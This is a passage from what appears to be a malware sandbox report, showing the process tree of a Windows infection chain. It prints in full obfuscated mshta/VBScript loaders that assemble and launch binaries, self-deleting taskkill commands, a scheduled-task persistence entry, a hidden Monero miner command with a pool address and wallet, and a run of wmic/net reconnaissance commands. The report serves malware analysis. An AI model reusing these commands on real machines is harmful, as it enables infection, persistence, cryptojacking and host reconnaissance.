        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:632
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun033e271e0ce96c08.exe /mixone
      4⤵
      Loads dropped DLL
      PID:308
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun033e271e0ce96c08.exe
        
        Sun033e271e0ce96c08.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1796
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun033e271e0ce96c08.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun033e271e0ce96c08.exe" & exit
        6⤵
        
        PID:1792
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun033e271e0ce96c08.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun039750b00c.exe
      4⤵
      Loads dropped DLL
      PID:2004
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun039750b00c.exe
        
        Sun039750b00c.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun03f0dc4460bc9.exe
      4⤵
      Loads dropped DLL
      PID:1748
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f0dc4460bc9.exe
        
        Sun03f0dc4460bc9.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:836
      - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f0dc4460bc9.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f0dc4460bc9.exe
        6⤵
        Executes dropped EXE
        
        PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun03e4aeb7e43a1c.exe
      4⤵
      Loads dropped DLL
      PID:1180
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03e4aeb7e43a1c.exe
        
        Sun03e4aeb7e43a1c.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        
        PID:1116
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1314079486.exe"
        6⤵
        
        PID:2028
        
        C:\Users\Admin\AppData\Local\Temp\1314079486.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1314079486.exe"
        7⤵
        
        PID:2704
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:2344
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7674400747.exe"
        6⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\7674400747.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7674400747.exe"
        7⤵
        Executes dropped EXE
        
        PID:2584
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun03e4aeb7e43a1c.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03e4aeb7e43a1c.exe" & exit
        6⤵
        
        PID:1672
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun03e4aeb7e43a1c.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:3884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun0397381f1f458e.exe
      4⤵
      Loads dropped DLL
      PID:1932
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0397381f1f458e.exe
        
        Sun0397381f1f458e.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun038aa349e3318e.exe
      4⤵
      Loads dropped DLL
      PID:916
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun038aa349e3318e.exe
        
        Sun038aa349e3318e.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1092
      - C:\Users\Admin\Pictures\Adobe Films\WASB2SPZFaztm4Jvd6B1tvAv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\WASB2SPZFaztm4Jvd6B1tvAv.exe"
        6⤵
        Executes dropped EXE
        
        PID:808
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1092 -s 648
        6⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun0351a0558292.exe
      4⤵
      Loads dropped DLL
      PID:656
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0351a0558292.exe
        
        Sun0351a0558292.exe
        5⤵
        Executes dropped EXE
        
        PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun03ea09aa5c9686e5.exe
      4⤵
      Loads dropped DLL
      PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03ea09aa5c9686e5.exe
        
        Sun03ea09aa5c9686e5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1596
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:524
        
        C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
        7⤵
        
        PID:2972
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
        8⤵
        
        PID:1964
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        9⤵
        
        PID:3600
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
        9⤵
        
        PID:3976
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"
        7⤵
        
        PID:2940
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2940 -s 980
        8⤵
        Program crash
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        
        PID:1952
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1952 -s 1376
        8⤵
        Program crash
        
        PID:960
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        7⤵
        
        PID:2232
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        
        PID:936
        
        C:\Users\Admin\AppData\Roaming\4965678.exe
        
        "C:\Users\Admin\AppData\Roaming\4965678.exe"
        8⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Roaming\6855522.exe
        
        "C:\Users\Admin\AppData\Roaming\6855522.exe"
        8⤵
        
        PID:1764
        
        C:\Users\Admin\AppData\Roaming\929672.exe
        
        "C:\Users\Admin\AppData\Roaming\929672.exe"
        8⤵
        
        PID:3140
        
        C:\Users\Admin\AppData\Roaming\7516327.exe
        
        "C:\Users\Admin\AppData\Roaming\7516327.exe"
        8⤵
        
        PID:3196
        
        C:\Users\Admin\AppData\Roaming\5346030.exe
        
        "C:\Users\Admin\AppData\Roaming\5346030.exe"
        8⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse( CreaTEOBjeCt ( "WsCRiPT.sHelL").RUn ("C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\Users\Admin\AppData\Roaming\5346030.exe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if """" =="""" for %N In (""C:\Users\Admin\AppData\Roaming\5346030.exe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )
        9⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Roaming\5346030.exe" > seV03VBOUIE.eXe&&StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "" =="" for %N In ("C:\Users\Admin\AppData\Roaming\5346030.exe" ) do taskkill -IM "%~nxN" /F
        10⤵
        
        PID:3560
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "5346030.exe" /F
        11⤵
        Kills process with taskkill
        
        PID:3700
        
        C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe
        
        sev03VbOUie.exe -POVwq7z4ndmK6x4P
        11⤵
        
        PID:3692
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT: cLOse( CreaTEOBjeCt ( "WsCRiPT.sHelL").RUn ("C:\Windows\system32\cmd.exe /Q /c tYpe ""C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe"" > seV03VBOUIE.eXe&& StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if ""-POVwq7z4ndmK6x4P "" =="""" for %N In (""C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe"" ) do taskkill -IM ""%~nxN"" /F" , 0 , TrUE ) )
        12⤵
        
        PID:3752
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe" > seV03VBOUIE.eXe&&StArt sev03VbOUie.exe -POVwq7z4ndmK6x4P & if "-POVwq7z4ndmK6x4P " =="" for %N In ("C:\Users\Admin\AppData\Local\Temp\seV03VBOUIE.eXe" ) do taskkill -IM "%~nxN" /F
        13⤵
        
        PID:3864
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScrIPt:closE (CreAteObjECt( "wsCRIPT.sheLl" ). rUn ("Cmd /R EcHo | Set /P = ""MZ"" > i61_m6.3i &cOPY /B /Y I61_M6.3I +XvVu.W4A+ Z9NNU.Z + W~cD4C.x + g3Fv7XCY.TZG + 4D8yN3.MnJ FMHAm.5Hv & stArT regsvr32 -s FMHAM.5hV " , 0 , TRuE ) )
        12⤵
        
        PID:3936
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R EcHo | Set /P = "MZ" > i61_m6.3i &cOPY /B /Y I61_M6.3I +XvVu.W4A+ Z9NNU.Z+W~cD4C.x + g3Fv7XCY.TZG + 4D8yN3.MnJ FMHAm.5Hv & stArT regsvr32 -s FMHAM.5hV
        13⤵
        
        PID:4004
        
        C:\Users\Admin\AppData\Roaming\6570846.exe
        
        "C:\Users\Admin\AppData\Roaming\6570846.exe"
        8⤵
        
        PID:3408
        
        C:\Users\Admin\AppData\Roaming\7571267.exe
        
        "C:\Users\Admin\AppData\Roaming\7571267.exe"
        8⤵
        
        PID:3392
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        9⤵
        
        PID:3524
        
        C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
        7⤵
        
        PID:1364
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:2492
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2980
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Executes dropped EXE
        Kills process with taskkill
        
        PID:524
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        7⤵
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"
        7⤵
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6.exe"
        7⤵
        
        PID:2872
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2872 -s 1652
        8⤵
        Program crash
        
        PID:3252
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun0328255c4bce6fb.exe
      4⤵
      Loads dropped DLL
      PID:1424
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun03f5d51697d04.exe
      4⤵
      Loads dropped DLL
      PID:1032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun038db98f99bf9a.exe
      4⤵
      Loads dropped DLL
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun0324aba28588c0.exe
      4⤵
      Loads dropped DLL
      PID:456

C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun038db98f99bf9a.exe
Sun038db98f99bf9a.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1604
- C:\Users\Admin\Pictures\Adobe Films\SZtLJ912HBKBUYBq5c8jhBya.exe
  "C:\Users\Admin\Pictures\Adobe Films\SZtLJ912HBKBUYBq5c8jhBya.exe"
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 1040
  2⤵
  - Program crash
  PID:2508

C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0397381f1f458e.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0397381f1f458e.exe" -u
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1068

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCRipt: CLoSE( createOBJeCT ( "wsCript.ShelL").rUn("cMD.exE /R tyPe ""C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun039750b00c.exe"" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if """" == """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun039750b00c.exe"") do taskkill -Im ""%~Nxm"" /F " , 0 , TrUe ))
1⤵
PID:596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /R tyPe "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun039750b00c.exe" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI &if "" == "" for %m in ( "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun039750b00c.exe") do taskkill -Im "%~Nxm" /F
  2⤵
  PID:2712
- - C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE
    WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI
    3⤵
    - Executes dropped EXE
    PID:2820
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbsCRipt: CLoSE( createOBJeCT ( "wsCript.ShelL").rUn("cMD.exE /R tyPe ""C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE"" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI & if ""-PRt0qXDI7zI "" == """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE"") do taskkill -Im ""%~Nxm"" /F " , 0 , TrUe ))
      4⤵
      Modifies Internet Explorer settings
      PID:2868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R tyPe "C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE" > wXE1XgqZIR_W9IM.exE && start WXE1XgqzIr_w9IM.eXe -PRt0qXDI7zI &if "-PRt0qXDI7zI " == "" for %m in ( "C:\Users\Admin\AppData\Local\Temp\wXE1XgqZIR_W9IM.exE") do taskkill -Im "%~Nxm" /F
        5⤵
        
        PID:2964
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VBSCripT: CLOse(CReAteoBjECt ( "wScrIPT.SHeLL"). RuN ( "CmD /C EcHo | sEt /P = ""MZ"" > QKYLkI3.T & CopY /Y /b QKYLkI3.T +KXCn0WxW.e+ 8QfI1D5v.X + 52TbWL.SZV + Y4JTKX.X9 +88N4.I +xU3XyT.P UKHPFGIw.UMV & START msiexec.exe -Y .\UKHPfGIw.UMV " , 0, TRUe ))
      4⤵
      PID:768
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EcHo | sEt /P = "MZ" > QKYLkI3.T& CopY /Y /b QKYLkI3.T +KXCn0WxW.e+ 8QfI1D5v.X+52TbWL.SZV +Y4JTKX.X9 +88N4.I +xU3XyT.P UKHPFGIw.UMV& START msiexec.exe -Y .\UKHPfGIw.UMV
        5⤵
        
        PID:2992
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        6⤵
        
        PID:2712
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>QKYLkI3.T"
        6⤵
        
        PID:3052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill -Im "Sun039750b00c.exe" /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2844

C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0328255c4bce6fb.exe
Sun0328255c4bce6fb.exe
1⤵
- Executes dropped EXE
PID:544

C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f5d51697d04.exe
Sun03f5d51697d04.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1460
- C:\Users\Admin\AppData\Local\Temp\is-PT722.tmp\Sun03f5d51697d04.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-PT722.tmp\Sun03f5d51697d04.tmp" /SL5="$1019E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f5d51697d04.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2208
- - C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f5d51697d04.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f5d51697d04.exe" /SILENT
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2296

C:\Users\Admin\AppData\Local\Temp\is-THA3B.tmp\Sun03f5d51697d04.tmp
"C:\Users\Admin\AppData\Local\Temp\is-THA3B.tmp\Sun03f5d51697d04.tmp" /SL5="$2019E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun03f5d51697d04.exe" /SILENT
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:2324
- C:\Users\Admin\AppData\Local\Temp\is-SMV39.tmp\postback.exe
  "C:\Users\Admin\AppData\Local\Temp\is-SMV39.tmp\postback.exe" ss1
  2⤵
  - Executes dropped EXE
  PID:2280

C:\Users\Admin\AppData\Local\Temp\7zSC63D2736\Sun0324aba28588c0.exe
Sun0324aba28588c0.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1696

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-20525239642120726113593211151-211146172-10835370672545218448940624721535667066"
1⤵
PID:2964

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
1⤵
- Creates scheduled task(s)
PID:3660

C:\Users\Admin\AppData\Roaming\services64.exe
C:\Users\Admin\AppData\Roaming\services64.exe
1⤵
PID:4044
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
  2⤵
  PID:2340
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    PID:3604
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "/sihost64"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      PID:2704
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
    3⤵
    PID:3564

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>i61_m6.3i"
1⤵
PID:4084

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
1⤵
PID:4076

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 -s FMHAM.5hV
1⤵
PID:3080

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
1⤵
- Executes dropped EXE
PID:2972

C:\Users\Admin\AppData\Local\Temp\296D.exe
C:\Users\Admin\AppData\Local\Temp\296D.exe
1⤵
PID:2464

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:2756

C:\Windows\system32\taskeng.exe
taskeng.exe {BD8AB3A6-F8B5-4DFA-B371-B738BE65D115} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:3116
- C:\Users\Admin\AppData\Roaming\jsehvir
  C:\Users\Admin\AppData\Roaming\jsehvir
  2⤵
  PID:4036
- C:\Users\Admin\AppData\Roaming\frehvir
  C:\Users\Admin\AppData\Roaming\frehvir
  2⤵
  PID:3436

C:\Windows\system32\cmd.exe
cmd
1⤵
PID:2444
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
  2⤵
  PID:3948
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
  2⤵
  PID:2784
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
  2⤵
  PID:3868
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
  2⤵
  PID:3652
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
  2⤵
  PID:1048
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
  2⤵
  PID:2116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
  2⤵
  PID:3168
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
  2⤵
  PID:796
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
  2⤵
  PID:704
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
  2⤵
  PID:2732
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
  2⤵
  PID:3404
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
  2⤵
  PID:3216
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
  2⤵
  PID:1616
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
  2⤵
  PID:2504
- C:\Windows\system32\ipconfig.exe
  ipconfig /displaydns
  2⤵
  - Gathers network information
  PID:3848
- C:\Windows\system32\ROUTE.EXE
  route print
  2⤵
  PID:3228
- C:\Windows\system32\netsh.exe
  netsh firewall show state
  2⤵
  PID:3352
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:900
- C:\Windows\system32\tasklist.exe
  tasklist /v
  2⤵
  - Enumerates processes with tasklist
  PID:2120
- C:\Windows\system32\net.exe
  net accounts /domain
  2⤵
  PID:912
- C:\Windows\system32\net.exe
  net share
  2⤵
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 share
    3⤵
    PID:2484
- C:\Windows\system32\net.exe
  net user
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user
    3⤵
    PID:576
- C:\Windows\system32\net.exe
  net user /domain
  2⤵
  PID:432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user /domain
    3⤵
    PID:2056
- C:\Windows\system32\net.exe
  net use
  2⤵
  PID:2836
- C:\Windows\system32\net.exe
  net group
  2⤵
  PID:2052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 group
    3⤵
    PID:308
- C:\Windows\system32\net.exe
